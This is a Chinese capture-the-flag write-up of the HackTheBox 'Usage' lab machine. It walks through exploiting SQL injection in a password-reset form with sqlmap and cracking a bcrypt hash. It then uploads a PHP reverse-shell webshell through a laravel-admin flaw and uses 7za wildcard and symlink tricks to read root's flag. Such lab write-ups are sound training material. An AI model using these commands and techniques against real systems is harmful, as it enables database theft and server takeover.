【渗透测试】HackTheBox靶场之Usage

admin 2024年4月22日01:53:18评论184 views字数 4020阅读13分24秒阅读模式
点击蓝字
【渗透测试】HackTheBox靶场之Usage
关注我们

【渗透测试】HackTheBox靶场之Usage

【渗透测试】HackTheBox靶场之Usage
【渗透测试】HackTheBox靶场之Usage
微信搜一搜
【渗透测试】HackTheBox靶场之Usage
暗魂攻防实验室

0x01 信息收集

【渗透测试】HackTheBox靶场之Usage

目标IP为10.10.11.18,首先进行端口扫描,做靶场当然最好是扫描一下全端口

nmap -sS -T4 -A -p- 10.10.11.18

【渗透测试】HackTheBox靶场之Usage

目前只发现22和80端口,80指向网页http://usage.htb/,首先把IP和域名用hosts绑定一下。访问网页,发现是个布局混乱的页面,有登录框注册链接等等,看得我难受。

【渗透测试】HackTheBox靶场之Usage

然后随手目录扫描,没有扫到什么

【渗透测试】HackTheBox靶场之Usage

看到有个admin链接指向admin.usage.htb,继续加上hosts,访问后得到一个admin登录页面

【渗透测试】HackTheBox靶场之Usage

查看一下前端代码,好像是个laravel框架,也不知道啥版本

【渗透测试】HackTheBox靶场之Usage

0x02 web渗透测试

使用burp抓个登录包,看看有什么可以利用的

【渗透测试】HackTheBox靶场之Usage

好像帐号密码都是明文,其实可以先测试弱口令,sql注入,xss等常用的手段,不过弱口令在HTB靶场好像基本没有吧,那就先让他跑下sql注入看有没有,不过好像木有

【渗透测试】HackTheBox靶场之Usage

顺便继续扫下目录吧

dirsearch -u http://admin.usage.htb -i 200

【渗透测试】HackTheBox靶场之Usage

也无果,要命了。然后瞬间想到,除了admin域名,不是还有个主域名吗,试试主域名,看到有注册用户的功能,先注册一波,然后登录进去,然后有一些关于渗透测试的文章啥的,不过也没啥功能

【渗透测试】HackTheBox靶场之Usage

最后在主站页面的重置密码的功能点上找到了注入,注入点是邮箱email,抓个包

【渗透测试】HackTheBox靶场之Usage

POST /forget-password HTTP/1.1Host: usage.htbContent-Length: 71Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://usage.htbContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://usage.htb/forget-passwordAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjZjNFFncldLTVZXYWd2M3Fic3RHcXc9PSIsInZhbHVlIjoiT0tjN2xxR1ZlL3RPVm5CMUpqWTNlbDR1a0ppR2M3SmIwK2dJbXYvSmtiRml6em53ZDhoQWpFR1lyRlBKTUIwVmhVQnpMeFZIYjRUY0M4MEthYjFQdTFFYkpZa1h2TWxMNXlZQmRtbjdTNVBjVmRtZUdjM0pkS1VpT2JzYncwZUMiLCJtYWMiOiIzZmI4YmI0MDE5YjMxZTA4MTU3OGZjOGRmNzgzOGE0ZDNiN2Q3YjM3Mjc5ZmE3MGUwMDZkMDI2YTRhZGRmOTEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVNYlFhLys4ZTc2RGIwRkwxVmN5ZVE9PSIsInZhbHVlIjoiMUhUaFRBOTVBVklYZGdFQ0xOTUpuUnQ4aHF1ZE5lbDlKK3ErUndQR0dIaUtxVTF1OFJBZGZDRFIxUUVqYVVBR2hObkF3SHRlWS9QNDNaUVB0Sm1CcFM1VmFRY0NMUWg5TFFOUHJibVZxUldtNVpDNGhZL05nRk5zRGhGaFVzWDciLCJtYWMiOiI1NWQ0ZjI3ZjMwYmNhYzM2NDkzMmI0MGNjOGVmMWI5MDAwZTM2YTMxYmY1NmJhYTFkZTRjYTVhOGMyODA4YzdhIiwidGFnIjoiIn0%3DConnection: close_token=LT7JQC6enQwXjfbNkDz7TJBnFYRrTBD2GVKJMm9p&email=1*
sqlmap -r sql.txt --level 5 --risk 3 --batch

【渗透测试】HackTheBox靶场之Usage

成功跑出来了,布尔注入和延时注入,随后就跑数据,先找到数据库名

sqlmap -r sql.txt --level 5 --risk 3 --batch --dbs

【渗透测试】HackTheBox靶场之Usage

数据库名为usage_blog,然后找数据表

sqlmap -r sql.txt --level 5 --risk 3 --batch -D usage_blog --tables

【渗透测试】HackTheBox靶场之Usage

有个admin_users表,然后查找字段名

sqlmap -r sql.txt --level 5 --risk 3 --batch -D usage_blog -T admin_users --columns

【渗透测试】HackTheBox靶场之Usage

最后dump用户和密码,找到后就可以登录admin子域名了,吐槽一下网络连接实在太慢,跑个注入都要几个小时,有钱就直接开个HTB的VIP吧

sqlmap -r sql.txt --level 5 --risk 3 --batch -D usage_blog -T admin_users -C username,password --dump 

【渗透测试】HackTheBox靶场之Usage

密码哈希值为

$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

使用john进行密码哈希值暴破

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt

【渗透测试】HackTheBox靶场之Usage

得出帐号密码为:admin | whatever1,登录进去后发现Laravel框架版本为10.18.0

【渗透测试】HackTheBox靶场之Usage

搜索一下最新漏洞,找到一个laravel-admin有个任意文件上传漏洞的预警(CVE-2023-24249),影响版本号是1.8.19,本系统版本号是1.8.18,应该是受影响的,不过只能去外面看看有没有详情,最后在这里找到了:https://flyd.uk/post/cve-2023-24249/,大概看了一下,应该是上传用户头像里面可以通过图片绕过姿势上传webshell

【渗透测试】HackTheBox靶场之Usage

首先准备好webshell,这里用kali自带的反弹shell后门文件:/usr/share/webshells/php/php-reverse-shell.php,修改反弹的信息,然后用010editor制作图片马(可能不用,可以直接上传,我也是多此一举),重命名后缀为ashell.jpg

【渗透测试】HackTheBox靶场之Usage

注意一下,不要在右上角个人头像菜单那边设置那边去上传头像,那边的上传是不成功的,因为他上传点是在users菜单栏上的编辑账户信息里面的设置才有用

【渗透测试】HackTheBox靶场之Usage

然后上传保存,修改后缀为ashell.jpg.php

【渗透测试】HackTheBox靶场之Usage

然后就可以上传成功,然后右键查看一下图片的地址:http://admin.usage.htb/uploads/images/ashell.jpg,然后你直接在后面加上.php访问,设置nc监听后,访问链接就可以直接反弹shell

【渗透测试】HackTheBox靶场之Usage

在home目录的dash用户的文件夹下找到userflag,其次发现xander用户文件夹无权限访问

e304d5a8db8553c94e1726689980a5ef

【渗透测试】HackTheBox靶场之Usage

然后发现dash文件夹下有一些隐藏文件,在.monitrc文件中发现了密码:3nc0d3d_pa$$w0rd

【渗透测试】HackTheBox靶场之Usage

一开始扫描端口时候发现22端口ssh服务开放,则使用ssh连接两个用户试试,然后登录成功

【渗透测试】HackTheBox靶场之Usage

0x03 权限提升

先试试看有没有特权文件

sudo -l

【渗透测试】HackTheBox靶场之Usage

找到/usr/bin/usage_management,使用cat查看有很多乱码,那我就直接用string去筛选一下字符

strings /usr/bin/usage_management

【渗透测试】HackTheBox靶场之Usage

找到几个关键的步骤

/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *Error changing working directory to /var/www/html/usr/bin/mysqldump -A > /var/backups/mysql_backup.sqlPassword has been reset.

【渗透测试】HackTheBox靶场之Usage

使用 7z 来压缩 /var/www/html/ 中的所有内容,而且使用-- *这种通配符。因此我们可以利用他,这里我们可以学习一个知识点,通配符技巧知识链接:

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----f1c2793eeb7e--------------------------------

【渗透测试】HackTheBox靶场之Usage

根据该技巧,我们就可以构造报错显示root.txt的内容了

cd /var/www/html/touch '@root.txt' ln -s -r /root/root.txt root.txtsudo /usr/bin/usage_management选择1

因此我们就可以直接获取到root的flag

a3b87d19d465c1d403586adbdb6d24e2

【渗透测试】HackTheBox靶场之Usage

完结!本次第一次使用物理机kali做,还是有点不习惯,主要是没有加一些插件之类的

【渗透测试】HackTheBox靶场之Usage

【渗透测试】HackTheBox靶场之Usage

原文始发于微信公众号(暗魂攻防实验室):【渗透测试】HackTheBox靶场之Usage

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日01:53:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】HackTheBox靶场之Usagehttps://cn-sec.com/archives/2676613.html

发表评论

匿名网友 填写信息